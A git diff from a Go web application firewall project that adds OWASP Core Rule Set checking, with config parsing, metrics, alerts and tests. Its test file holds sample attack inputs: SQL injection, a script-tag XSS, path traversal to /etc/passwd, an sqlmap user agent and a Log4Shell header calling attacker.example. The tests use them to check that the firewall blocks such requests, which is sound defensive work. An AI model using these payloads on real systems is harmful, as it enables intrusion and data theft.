h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= +github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= +github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= +github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw= +github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ= @@ -36,7 +77,21 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw= go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M= go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y= +golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c= +golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o= +golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To= +golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU= +golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk= +golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0= golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo= golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= +golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8= +golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M= +golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU= +golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE= +rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index 9fbb95a..89ea0e9 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -44,7 +44,9 @@ const ( // EventAnomaly is a count of requests or bytes over an anomaly // threshold. EventAnomaly = "anomaly" - // EventWAFBlock comes with the Core Rule Set; nothing raises it yet. + // EventWAFBlock is a request the Core Rule Set scored at or over + // SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in + // detect mode. EventWAFBlock = "waf_block" // EventReputationHit is a request whose client a blocklist, the // CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score diff --git a/internal/config/config.go b/internal/config/config.go index 5ed7c92..8bca935 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -42,8 +42,8 @@ type Config struct { InstanceName string // Observe is true in observe mode, when SWWAF_MODE is observe rather // than enforce: a request that SWWAF_DENY_NETS, a ban, the country - // lists, a rate limit or a rule would refuse is passed to the app - // instead, and no ban is made. + // lists, a rate limit, a rule or the Core Rule Set would refuse is + // passed to the app instead, and no ban is made. Observe bool // TrustedProxies are the netblocks whose X-Forwarded-For is // believed (SWWAF_TRUSTED_PROXIES). @@ -239,12 +239,25 @@ type Config struct { // unless RulesEnabled is false (SWWAF_RULES_ENABLED). RulesDir string RulesEnabled bool + // WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff, + // WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia + // level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and + // WAFAnomalyThreshold the anomaly score at which a request is a match + // (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules + // are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES), and + // WAFExemptPaths the path prefixes it does not inspect + // (SWWAF_WAF_EXEMPT_PATHS). + WAFMode string + WAFParanoiaLevel int + WAFAnomalyThreshold int + WAFDisabledRules []int + WAFExemptPaths []string // TrapPaths are the paths a request for which is a clear sign of // attack (SWWAF_TRAP_PATHS), each starting with / and without a ?. TrapPaths []string // ErrorBurstThreshold is the most requests of a client within a minute - // that smallwebwaf may refuse after a rule file match or for a missing - // or wrong token; one more breaks a limit + // that smallwebwaf may refuse after a rule file or Core Rule Set match + // or for a missing or wrong token; one more breaks a limit // (SWWAF_ERROR_BURST_THRESHOLD). 0 is off. ErrorBurstThreshold int64 // LogRemoteURL is where every line on stdout is also sent @@ -310,6 +323,16 @@ type Config struct { // off. const off = "off" +// The values of SWWAF_WAF_MODE. +const ( + // WAFModeOff runs no request through the Core Rule Set. + WAFModeOff = off + // WAFModeDetect logs and alerts a match, and refuses nothing. + WAFModeDetect = "detect" + // WAFModeBlock refuses a match with 403. + WAFModeBlock = "block" +) + // fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the // lookup database, the file SWWAF_LOOKUP_DB_PATH names. const fileSource = "file" @@ -327,6 +350,14 @@ const ( minIPv6GroupPrefix = 32 // minTokenLength is the fewest characters a token may have. minTokenLength = 32 + // maxParanoiaLevel is the Core Rule Set's highest paranoia level. + maxParanoiaLevel = 4 + // firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set + // keeps for the rules that set it up, which smallwebwaf's own rules + // have too (see internal/waf). Switching one off would undo a change + // that no setting undoes. + firstSetupRuleID = 900000 + lastSetupRuleID = 900999 // masked is what the log shows for a token that is set, and in place of // a secret in another setting. masked = "********" @@ -388,6 +419,13 @@ var ( "is not a path prefix starting with /, such as /assets/") errNotTrapPath = errors.New( "is not a path starting with / and without a ?, such as /wp-login.php") + errNotWAFMode = errors.New("is not off, detect or block") + errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4") + errNotRuleID = errors.New( + "is not the id of a Core Rule Set rule, a whole number such as 942100") + errSetupRuleID = errors.New( + "is from 900000 to 900999, the ids of the rules that set the Core Rule Set " + + "up and of smallwebwaf's own, which cannot be switched off") errNotBoolean = errors.New("is not true or false") errNotLogRemoteURL = errors.New( "is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " + @@ -509,12 +547,18 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", "accept,accept-language,accept-encoding,content-type,origin,range"), - LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"), - AdminToken: env.token("SWWAF_ADMIN_TOKEN"), - MetricsToken: env.token("SWWAF_METRICS_TOKEN"), - MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), - RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), - RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), + LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"), + AdminToken: env.token("SWWAF_ADMIN_TOKEN"), + MetricsToken: env.token("SWWAF_METRICS_TOKEN"), + MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), + RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), + RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), + WAFMode: env.wafMode("SWWAF_WAF_MODE", WAFModeBlock), + WAFParanoiaLevel: env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"), + WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"), + WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES", + "920340,920420,920440,920640,930130,930140"), + WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""), TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"), ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"), LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), @@ -765,6 +809,39 @@ func (e *environment) trapPaths(name string) []string { return paths } +// wafMode reads the setting that is what the Core Rule Set does: off, +// detect or block. +func (e *environment) wafMode(name, defaultValue string) string { + mode := e.value(name, defaultValue) + if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock { + e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode)) + } + + return mode +} + +// paranoiaLevel reads the setting that is the Core Rule Set's paranoia +// level, from 1 to 4. +func (e *environment) paranoiaLevel(name, defaultValue string) int { + value := e.value(name, defaultValue) + + level, err := strconv.Atoi(value) + if err != nil || level < 1 || level > maxParanoiaLevel { + e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel)) + } + + return level +} + +// ruleIDs reads the setting that is a list of the ids of Core Rule Set +// rules. +func (e *environment) ruleIDs(name, defaultValue string) []int { + ids, err := parseRuleIDs(e.value(name, defaultValue)) + e.check(name, err) + + return ids +} + // countries reads a setting that is a list of countries. func (e *environment) countries(name, defaultValue string) []string { countries, err := parseCountries(e.value(name, defaultValue)) @@ -1575,6 +1652,31 @@ func parseTrapPaths(value string) ([]string, error) { return paths, nil } +// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set +// rules, each a whole number above zero and outside firstSetupRuleID to +// lastSetupRuleID. +func parseRuleIDs(value string) ([]int, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + ids := make([]int, len(items)) + + for i, item := range items { + ids[i], err = strconv.Atoi(item) + if err != nil || ids[i] <= 0 { + return nil, fmt.Errorf("%q %w", item, errNotRuleID) + } + + if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID { + return nil, fmt.Errorf("%q %w", item, errSetupRuleID) + } + } + + return ids, nil +} + // countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK, // the code in common use for Kosovo. golang.org/x/text/language cannot // check them: it also takes withdrawn codes such as su, and reserved ones diff --git a/internal/config/config_test.go b/internal/config/config_test.go index aa0c185..85e113a 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -91,6 +91,11 @@ const ( logLevel = "SWWAF_LOG_LEVEL" rulesDir = "SWWAF_RULES_DIR" rulesEnabled = "SWWAF_RULES_ENABLED" + wafMode = "SWWAF_WAF_MODE" + wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL" + wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD" + wafDisabledRules = "SWWAF_WAF_DISABLED_RULES" + wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS" trapPaths = "SWWAF_TRAP_PATHS" errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD" logRemoteURL = "SWWAF_LOG_REMOTE_URL" @@ -170,6 +175,9 @@ const ( // defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL. const defaultReputationCacheTTL = "24h" +// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES. +const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140" + // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + "content-type,origin,range" @@ -553,6 +561,105 @@ func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) { } } +func TestCoreRuleSetSettings(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + want config.Config + }{ + { + environment{}, + config.Config{ + WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5, + WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140}, + WAFExemptPaths: []string{}, + }, + }, + { + environment{ + wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10", + wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/", + }, + config.Config{ + WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10, + WAFDisabledRules: []int{942100, 920350}, + WAFExemptPaths: []string{"/api/", "/static/"}, + }, + }, + { + environment{wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: ""}, + config.Config{ + WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0, + WAFDisabledRules: []int{}, WAFExemptPaths: []string{}, + }, + }, + } { + cfg := fromEnvironment(t, tc.env) + + got := config.Config{ + WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel, + WAFAnomalyThreshold: cfg.WAFAnomalyThreshold, + WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths, + } + if !reflect.DeepEqual(got, tc.want) { + t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want) + } + } +} + +func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) { + t.Parallel() + + const ( + notParanoiaLevel = " is not a paranoia level, from 1 to 4" + setupRule = " is from 900000 to 900999, the ids of the rules that set " + + "the Core Rule Set up and of smallwebwaf's own, which cannot be switched off" + ) + + for _, tc := range []struct{ name, value, want string }{ + {wafMode, "enforce", `"enforce" is not off, detect or block`}, + {wafParanoiaLevel, "0", `"0"` + notParanoiaLevel}, + {wafParanoiaLevel, "5", `"5"` + notParanoiaLevel}, + {wafParanoiaLevel, off, `"off"` + notParanoiaLevel}, + { + wafAnomalyThreshold, "0", + `"0" is not a whole number above zero, such as 60, or off`, + }, + { + wafDisabledRules, "920340,REQUEST-920", + `"REQUEST-920" is not the id of a Core Rule Set rule, ` + + `a whole number such as 942100`, + }, + { + wafDisabledRules, "-942100", + `"-942100" is not the id of a Core Rule Set rule, ` + + `a whole number such as 942100`, + }, + // The paranoia level, the allowed methods, the headers refused, and + // a request with more query parameters than Coraza keeps. + {wafDisabledRules, "942100,900000", `"900000"` + setupRule}, + {wafDisabledRules, "942100,900200", `"900200"` + setupRule}, + {wafDisabledRules, "942100,900250", `"900250"` + setupRule}, + {wafDisabledRules, "942100,900300", `"900300"` + setupRule}, + { + wafExemptPaths, "api/", + `"api/" is not a path prefix starting with /, such as /assets/`, + }, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { t.Parallel() @@ -2291,6 +2398,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { logLevel: "info", rulesDir: "/etc/smallwebwaf/rules.d", rulesEnabled: "true", + wafMode: config.WAFModeBlock, + wafParanoiaLevel: "1", + wafAnomalyThreshold: "5", + wafDisabledRules: defaultWAFDisabledRules, + wafExemptPaths: "", trapPaths: "", errorBurstThreshold: "30", logRemoteURL: "", diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index fab2b15..f1f4fc4 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -36,6 +36,7 @@ type Metrics struct { rateLimitHits *prometheus.CounterVec sizeAndTimeLimitHits *prometheus.CounterVec offences *prometheus.CounterVec + wafMatches *prometheus.CounterVec // ruleMatches are made by AddRules, and reputationHits by // AddReputation. ruleMatches *prometheus.CounterVec @@ -63,6 +64,8 @@ type Metrics struct { // topN is how many countries and how many AS numbers get series of their // own (SWWAF_METRICS_TOP_N). Every metric carries instanceName // (SWWAF_INSTANCE_NAME) as its label instance. +// +//nolint:funlen // a few lines for each metric, a list that grows with them func New(topN int, instanceName string) *Metrics { byStatus := []string{"status_class", "action"} byFile := []string{"file"} @@ -101,6 +104,9 @@ func New(topN int, instanceName string) *Metrics { []string{"limit"}), offences: counterVec("smallwebwaf_offences_total", "Offences, by kind.", []string{"kind"}), + wafMatches: counterVec("smallwebwaf_waf_matches_total", + "Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+ + "and the rule's id.", []string{"mode", "rule_id"}), countries: newCountries(topN), asns: newASNs(topN), GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ @@ -136,7 +142,8 @@ func New(topN int, instanceName string) *Metrics { collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), m.inFlight, m.requests, m.requestBytes, m.responseBytes, m.requestDuration, m.upstreamDuration, - m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns, + m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches, + m.countries, m.asns, m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered, m.stateFileWrites, m.stateFileWriteFailures, m.stateFileLastWrite, m.stateFileSize, @@ -433,6 +440,7 @@ func (m *Metrics) Offences(r ratelimit.Request) { "limit": r.BrokeLimit, "attack": r.Attack, "rule_blocked": r.RuleBlocked, + "waf_blocked": r.WAFBlocked, "token_refused": r.TokenRefused, } { if committed { @@ -447,6 +455,12 @@ func (m *Metrics) RuleMatched(id, action string) { m.ruleMatches.WithLabelValues(id, action).Inc() } +// WAFMatched counts a request that matched the Core Rule Set's rule id, +// with SWWAF_WAF_MODE at mode. +func (m *Metrics) WAFMatched(mode string, id int) { + m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc() +} + // StateFileWritten counts a write of the state file name, of size bytes, // that ended with err. func (m *Metrics) StateFileWritten(name string, size int, err error) { diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index db50c3f..5b1eedb 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -84,12 +84,12 @@ func (rq *request) countBytes() { } // countRefusal counts the request for the error burst once it has been -// answered, if smallwebwaf refused it after a rule file match or a trap -// path, or for a missing or wrong token, and in observe mode if enforce -// mode would have: more than SWWAF_ERROR_BURST_THRESHOLD such refusals of -// the client within a minute break a limit. A client in SWWAF_ALLOW_NETS, -// which the checks skip, is not counted, and nothing is while the -// threshold is off. +// answered, if smallwebwaf refused it after a rule file match, a trap path +// or a Core Rule Set match, or for a missing or wrong token, and in +// observe mode if enforce mode would have: more than +// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute +// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is +// not counted, and nothing is while the threshold is off. func (rq *request) countRefusal() { cfg := rq.h.config if cfg.ErrorBurstThreshold == 0 { @@ -100,7 +100,7 @@ func (rq *request) countRefusal() { // before it reached the endpoint has had no token refused there. tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" && !isInside(rq.client, cfg.AllowNets) - if !rq.attack && !rq.ruleBlocked && !tokenRefused { + if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused { return } @@ -116,7 +116,7 @@ func (rq *request) countRefusal() { status := rq.out.status switch rq.line.WouldAction { - case requestlog.ActionRuleBlocked: + case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked: status = http.StatusForbidden case requestlog.ActionBanned: status = cfg.BanResponse diff --git a/internal/proxy/bytelimits_test.go b/internal/proxy/bytelimits_test.go index 069e6da..a8f0077 100644 --- a/internal/proxy/bytelimits_test.go +++ b/internal/proxy/bytelimits_test.go @@ -282,8 +282,6 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) { func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) { t.Parallel() - const off = "off" - s, _ := startWithAnswers(t, map[string]string{ bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off, }) diff --git a/internal/proxy/coreruleset.go b/internal/proxy/coreruleset.go new file mode 100644 index 0000000..d040ff4 --- /dev/null +++ b/internal/proxy/coreruleset.go @@ -0,0 +1,82 @@ +package proxy + +import ( + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/waf" +) + +// checkCoreRuleSet inspects the request with the Core Rule Set, unless +// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as +// pathExempt decides, and notes the rules it matched and its score in the +// log line, and the rules in the metrics. A score at or over +// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert, +// and in block mode refuses the request, which is an offence its client's +// history counts, and so returns ActionWAFBlocked. It returns "" for a +// request it does not refuse. +func (rq *request) checkCoreRuleSet() string { + cfg := rq.h.config + if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in.URL, cfg.WAFExemptPaths) { + return "" + } + + start := time.Now() + result := rq.h.coreRuleSet.Inspect(rq.in, rq.client) + rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start))) + rq.line.WAFRuleIDs = result.RuleIDs + rq.line.WAFScore = &result.Score + + for _, id := range result.RuleIDs { + rq.h.metrics.WAFMatched(cfg.WAFMode, id) + } + + threshold := cfg.WAFAnomalyThreshold + if threshold == 0 || result.Score < threshold { + return "" + } + + rq.alertWAFBlock(result) + + if cfg.WAFMode == config.WAFModeDetect { + return "" + } + + rq.wafBlocked = true + + return requestlog.ActionWAFBlocked +} + +// alertWAFBlock raises the waf_block alert for the request, which the Core +// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its +// detail gives the rule ids, the score, the method and the path with the +// query, and, for a request that is not refused for it, the mode: detect, +// or observe in observe mode. +func (rq *request) alertWAFBlock(result waf.Result) { + detail := map[string]any{ + "rule_ids": result.RuleIDs, + "score": result.Score, + "method": rq.in.Method, + "path": rq.in.URL.RequestURI(), + } + + switch { + case rq.h.config.WAFMode == config.WAFModeDetect: + detail["mode"] = config.WAFModeDetect + case rq.h.config.Observe: + detail["mode"] = "observe" + } + + rq.h.alerts.Raise(alerts.Alert{ + Event: alerts.EventWAFBlock, + Client: rq.client, + Netblock: rq.h.clientGroup(rq.client), + ASN: rq.line.ASN, + ASName: rq.line.ASName, + Country: rq.line.Country, + Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD", + Detail: detail, + }) +} diff --git a/internal/proxy/coreruleset_test.go b/internal/proxy/coreruleset_test.go new file mode 100644 index 0000000..9afdd52 --- /dev/null +++ b/internal/proxy/coreruleset_test.go @@ -0,0 +1,392 @@ +package proxy_test + +import ( + "net/http" + "net/netip" + "slices" + "strings" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and +// its two modes that inspect requests. +const ( + wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD" + wafDisabledRules = "SWWAF_WAF_DISABLED_RULES" + wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS" + block = "block" + detect = "detect" +) + +// sqlInjection asks for / with an SQL injection in its query, which only +// the Core Rule Set's rule 942100 matches, with a score of 5, the default +// SWWAF_WAF_ANOMALY_THRESHOLD. +const sqlInjection = "/?id=1'%20OR%20'1'='1" + +// wantWAF checks the request log line's waf_rule_ids and waf_score, and +// that it has duration_waf, or with no score, that it has none of the +// three: the Core Rule Set did not inspect the request. +func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) { + t.Helper() + + if !slices.Equal(line.WAFRuleIDs, ruleIDs) { + t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs) + } + + switch { + case score == nil && (line.WAFScore != nil || line.DurationWAF != nil): + t.Errorf("log line has waf_score %v and duration_waf %v, want neither", + line.fields["waf_score"], line.fields["duration_waf"]) + case score != nil && (line.WAFScore == nil || *line.WAFScore != *score): + t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score) + case score != nil && line.DurationWAF == nil: + t.Error("log line has no duration_waf") + } +} + +func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) { + t.Parallel() + + for _, attack := range []struct { + name, path, header string + ruleIDs []int + score int + }{ + {"SQL injection in the query", sqlInjection, "", []int{942100}, 5}, + { + "script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "", + []int{941100, 941110, 941160, 941390}, 20, + }, + { + "path traversal in the path", "/files/../../etc/passwd", "", + []int{930100, 930110}, 10, + }, + { + "Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}", + []int{944150}, 5, + }, + {"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5}, + { + // Coraza keeps the first 1000 query parameters. + "SQL injection after 1000 query parameters", + "/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "", + []int{900300}, 5, + }, + } { + t.Run(attack.name, func(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + mode, action string + status int + }{ + {block, requestlog.ActionWAFBlocked, http.StatusForbidden}, + {detect, requestlog.ActionForward, http.StatusOK}, + } { + s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode}) + + line, _ := s.requestWithHeader(client, attack.path, attack.header, + tc.status, tc.action) + wantWAF(t, line, &attack.score, attack.ruleIDs...) + } + }) + } +} + +func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) { + t.Parallel() + + s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) + + line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source", + http.StatusOK, requestlog.ActionForward) + wantWAF(t, line, new(0)) +} + +func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal( + t *testing.T, +) { + t.Parallel() + + const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS + + s, _, _ := startWithClock(t, "", map[string]string{ + wafMode: block, + wafExemptPaths: "/api/", + allowNets: allowed, + rulesDir: writeRules(t, testRules), + }) + + // A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS + // exempts, are not inspected. + line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward) + wantWAF(t, line, nil) + line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK, + requestlog.ActionForward) + wantWAF(t, line, nil) + + // The prefix is matched as rate limit exempt paths are: a path that + // goes up and out of it is inspected. + line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden, + requestlog.ActionWAFBlocked) + wantWAF(t, line, new(25), 930100, 930110, 942100) + + // A request a rule file refuses is not inspected. + line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden, + requestlog.ActionRuleBlocked) + wantWAF(t, line, nil) + + // With SWWAF_WAF_MODE off, no request is. + s, _, _ = startWithClock(t, "", map[string]string{wafMode: off}) + line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + wantWAF(t, line, nil) +} + +func TestAnomalyThreshold(t *testing.T) { + t.Parallel() + + // A score under the threshold, or with the threshold off, is logged, + // and refuses nothing. + for _, threshold := range []string{"6", off} { + s, _, _ := startWithClock(t, "", map[string]string{ + wafMode: block, wafAnomalyThreshold: threshold, + }) + + line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + wantWAF(t, line, new(5), 942100) + } + + s, _, _ := startWithClock(t, "", map[string]string{ + wafMode: block, wafAnomalyThreshold: "5", + }) + s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked) +} + +func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) { + t.Parallel() + + for _, request := range []struct { + name, method, path, header string + // ruleIDs are the rules that match the request with none + // switched off. + ruleIDs []int + }{ + { + "git push", http.MethodPost, "/owner/repo.git/git-receive-pack", + "Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4", + []int{920420, 930130}, + }, + { + "package upload without a type", http.MethodPut, + "/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4", + []int{920340}, + }, + { + "a shell script", 